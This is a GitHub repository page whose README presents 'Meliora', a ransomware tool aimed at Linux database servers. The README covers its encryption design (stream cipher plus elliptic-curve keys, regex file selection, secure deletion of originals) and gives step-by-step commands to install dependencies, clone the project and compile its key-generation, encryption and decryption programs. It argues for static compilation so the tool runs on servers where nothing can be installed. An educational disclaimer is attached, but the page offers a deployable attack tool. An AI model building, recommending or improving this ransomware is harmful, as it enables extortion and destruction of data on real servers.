Skip to content
Fast and secure Ransomware for Linux DB Servers with Elliptic Curves and Stream ciphers.
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
.gitignore
LICENSE
README.md
config.h
gutman.h
learning.txt
melcrypt.h
melde.cpp
melen.cpp
melgen.cpp

README.md

Meliora

Meliora is a Latin adjective meaning "better". It is the neuter plural (nominative or accusative) form of the adjective "melior, -or, -us". It may be used in the accusative and substantively (i.e., as a noun) to mean "better things", "always better", "ever better", or, more fully, "for the pursuit of the better".

https://en.wikipedia.org/wiki/Meliora

DISCLAIMER: This is only for testing/educational purposes and can only be used on your own pc or where strict consent has been given. Do not use this for illegal purposes.

Abstract

This is a fast and secure ransomware for Linux DB Servers , so it has been successfully tested on Centos 7 and Red Hat 7.

Features

  • Sosemanuk, stream cipher instead of block ciphers, because of improving performance 727 Mib/sec.
  • Elliptic curves (ECIES) instead of RSA, because of improving security.
  • Regex to find files.
  • Static compile insted of shared libraries, because of improving execution.
  • Secure deletion with Gutman method one pass.

Intro

Maybe you can share my passion for cryptography, linux, security and learning, if so this will be funny for you. This code was made in 2013 and forgotten, but today it's alive.

Why

  • Because I like, so simple.
  • I am so grateful with open source community, thanks to all the people who has been written something to share their knowledge with the world... with us.

Educational goals

  • Learn cryptography
  • Learn Linux
  • Learn cryptopp
  • Learn Security

See learning.txt

Problem

Imagine a Database server wich databases are big, you can't install new packages. So a ransomeware needs:

  • run without dependencies
  • run fast

Run

yum group install "Development Tools"
yum install glibc-static
yum install libstdc++-static
yum install cryptopp cryptopp-devel

wget https://www.cryptopp.com/cryptopp562.zip
unzip cryptopp562.zip
make libcryptopp.a
cp  libcryptopp.a /usr/lib64/libcrypto.a

git clone https://github.com/liesware/meliora.git
cd meliora
g++ -static -O2   melgen.cpp -o melgen -lcryptopp
./melgen
// Edit config.h 
g++ -static -O2   melen.cpp -o melen -lcryptopp
g++ -static -O2   melde.cpp -o melde -lcryptopp

Next Steps

  • Add multithreading
  • Add LKM

if I can help you in something just let know, liesware 4t liesware d0t com , or if you want to contribute/improve or if you have a better idea please write me.

You can’t perform that action at this time.